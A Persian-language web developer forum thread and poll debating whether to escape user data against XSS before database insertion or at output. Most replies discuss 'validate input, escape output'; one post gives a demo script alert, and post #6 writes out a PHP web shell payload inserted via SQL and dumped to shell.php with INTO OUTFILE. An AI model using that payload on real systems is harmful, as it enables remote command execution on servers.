escape زمان ورود یا هنگام خروج اطلاعات
هنگام ورود (قبل از وارد کردن به دیتابیس)
66.67%
4
هنگام خروجی (هنگام نمایش به کاربر )
16.67%
1
هر دو
16.67%
1
6 رای
* چنانچه به گزینه‌ای رای داده اید، با علامت ستاره مشخص گردیده است. [نمایش نتایج]

  • 3 رای - 3.67 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
escape قبل از insert یا زمان خروجی
#1
سلام
دوستان یک سوال


شما برای جلوگیری از xss اطلاعات رو زمانی ورودی از کاربر escape میکنید یا زمان خروجی ؟؟؟

واضح تر : شما وقتی یک ورودی از کاربر میگیرید مثلا محتویات input type='text' همون موقع escape میکنید و در دیتابیس insert میکنید یا محتویات رو بصورت خام و unescape در دیتابیس وارد میکنید و زمانیکه میخواهید به کاربر نمایش بدید escape میکنید ؟؟؟؟

لطفا دلیل خودتون رو ارائه کنید

ضمنا یه نظر سنجی هم گذاشتم ممنون میشم شرکت کنید
  پاسخ
تشکر شده توسط :
#2
سلام
به نظر من بهتره و اصولیش هم همین باشه ، قبل از انجام کاری به دیتابیس باید موارد امنیتی لحاظ بشه اونم نه فقط برای یکی از حملات باید ترکیبی و همه جانبه باشه (البته بازم امن نیست Tongue)
خب ببینید شما به عنوان هکر میخواهید که سایت بنده را هک کنید بعضی از هکر های مبتدی بعضی وقت ها میان فقط یه سری کد اضافه میکنن که هنگام نمایش مشکل به وجود میاد
ولی بعضی از هکرهایی که در کار خودشون خبره هستند به راحتی میتونن کدهای مخربی رو وارد کنن که واقعا خانمان سوز هستند مثل دریافت اطلاعات داخل دیتابیس یا پاک کردن اطلاعات که در این صورت سایت باید تعویض و یا موارد امنیتی روش به طور کامل لحاظ بشه

در برنامه نویسی اصلی هست که سختیش دقیقا تا به اونجاس ، برنامه نویس تا اونجایی زیاد سختی میکشه که اطلاعاتو وارد دیتابیس میکنه بقیه راه خیلی خیلی آسونه به نظر من پس من نتیجه گرفتم که اطلاعات باید صاف و زلال وارد دیتابیس بشن که همون اول خیالتون رو راحت بکنندSmile
  پاسخ
تشکر شده توسط : Y.P.Y
#3
قطعاً هنگام ورود.
چون اگر کد مخرب بتونه وارد دیتابیست بشه کار خودشو می کنه...
وبلاگ: Yousha.Blog.ir


 کد کمتر => خطای کمتر => قابل فهمتر => خوانایی بالاتر => نگهداری بهتر

  پاسخ
تشکر شده توسط :
#4
البته با احترام به نظر همه دوستان باید عرض کنم که کاملا برعکس هست و باید اطلاعات موقع نمایش escape بشن
یکی از دلیل ها هم اینه اگر قبل از اینزرت escape بشه اطلاعات اصالت خودشون رو از دست میده
یک اصلی هست که تو اکثر سایت های مرجع و قابل اعتماد خوندم اینه که
validate input
escape output
  پاسخ
تشکر شده توسط :
#5
نقل قول:یکی از دلیل ها هم اینه اگر قبل از اینزرت escape بشه اطلاعات اصالت خودشون رو از دست میده
اگه هکر بیاد کد مخربی بنویسه که کل اطلاعات دیتابیستو بکشه بیرون و یا پاک کنه اصالت کدها از بین میره؟
شما کلمه ali رو فرض کنید این یک کلمه کاملا سالم هست و هیشکی نمیتونه روش عیب بذاره
ولی اگه به این شکل استفاده بشه مثل <script> alert('ali'); </script> اینجا دیگه این علی نیست
شما این کد رو در ابعاد حرفه ای تر فرض کن آیا چنین کدهایی وارد دیتابیس شما بشن قبل اینکه شما چیزی رو بخواید در خروجی اسکیپ کنید
میتونن هر بلایی سر دیتابیس شما بیارن دیگه اطلاعاتی برای شما نمونده که بخواید خروجی هم داشته باشید
اگه کدی وارد شه که اطلاعاتو تغییر بده مثلا علی تبدیل بشه به مهدی اینجاس که اطلاعات شما اصالت خودشونو از دست میدن
  پاسخ
تشکر شده توسط :
#6
البته منظور من validate و filter کردن input هستش که باید قبل از ورود به دیتابیس انجام یشه... و نه escape

کد:
INSERT INTO `my_table` (`my_field`) VALUES ('<?php echo("<pre>"); @system($_REQUEST['cmd']);@exec($_REQUEST['cmd']);@passthru($_REQUEST['cmd']);@pcntl_exec($_REQUEST['cmd']);@shell_exec($_REQUEST['cmd']);@url_exec($_REQUEST['cmd']);//... ?>');

SELECT * INTO OUTFILE './shell.php' FROM `my_table`;
وبلاگ: Yousha.Blog.ir


 کد کمتر => خطای کمتر => قابل فهمتر => خوانایی بالاتر => نگهداری بهتر

  پاسخ
تشکر شده توسط : ImanAzadi
#7
(۱۳۹۵ شهریور ۱۳, ۰۱:۳۰ ق.ظ)kasbookar نوشته:
نقل قول:یکی از دلیل ها هم اینه اگر قبل از اینزرت escape بشه اطلاعات اصالت خودشون رو از دست میده
اگه هکر بیاد کد مخربی بنویسه که کل اطلاعات دیتابیستو بکشه بیرون و یا پاک کنه اصالت کدها از بین میره؟
شما کلمه ali رو فرض کنید این یک کلمه کاملا سالم هست و هیشکی نمیتونه روش عیب بذاره
ولی اگه به این شکل استفاده بشه مثل <script> alert('ali'); </script> اینجا دیگه این علی نیست
شما این کد رو در ابعاد حرفه ای تر فرض کن آیا چنین کدهایی وارد دیتابیس شما بشن قبل اینکه شما چیزی رو بخواید در خروجی اسکیپ کنید
میتونن هر بلایی سر دیتابیس شما بیارن دیگه اطلاعاتی برای شما نمونده که بخواید خروجی هم داشته باشید
اگه کدی وارد شه که اطلاعاتو تغییر بده مثلا علی تبدیل بشه به مهدی اینجاس که اطلاعات شما اصالت خودشونو از دست میدن

دوست عزیز هکر چه کد مخربی میخواد بنویسه که اطلاعات دیتابیس رو بکشه بیرون یا پاک کنه ؟؟؟
فکر کنم یجایی از پست منو نخوندید که گفته بودم
نقل قول: برای جلوگیری از xss

و منظور شما باگ sql injection هستش که باید عرض کنم من از pdo و با استفاده از prepare اطلاعات رو وارد یا استخراج میکنم که prepare دستورات هکر رو برای باگ فوق بلا استفاده میکنه
  پاسخ
تشکر شده توسط :
#8
نقل قول:منظور شما باگ sql injection
خیر منظور بنده این نبوده فقط یک مثال کلی زدم تا بهتر منظورمو برسونم خدمت شما
در هر حال هر برنامه نویسی یه سلیقه خاصی داره توی برنامه نویسیش یکی قبل و یکی بعد
یکی هم فردورو باهم انجام میده ، یکی اول ورودی هارو مقایسه میکنه بعد فیلتر و یکی دیگه میاد ....

موفق باشیدSmile
  پاسخ
تشکر شده توسط :
#9
سلام،
خب قطعا جواب صحیح هر دو مورد هست دیگه Big Grin
این همه بحث داره؟ Big Grin

البته validate و فیلتر، قبل از ارسال
escape کردن موقع نمایش
غایب
  پاسخ
تشکر شده توسط :
#10
نقل قول:سلام،
خب قطعا جواب صحیح هر دو مورد هست دیگه Big Grin
این همه بحث داره؟
من اعترااااااااض دارم آقاااااای قاضی ،
علا یدفه اومده داره دعوا راه میندازه ، هر بلایی سرم بیاد تقصیر ایشونهBig GrinBig GrinBig Grin

نقل قول:البته validate و فیلتر، قبل از ارسال
escape کردن موقع نمایش
کار درست هم همینه ولی ولید قبل ارسال فرم خیلی مهمهCool
  پاسخ
تشکر شده توسط :


پرش به انجمن:


کاربران در حال بازدید این موضوع: 1 مهمان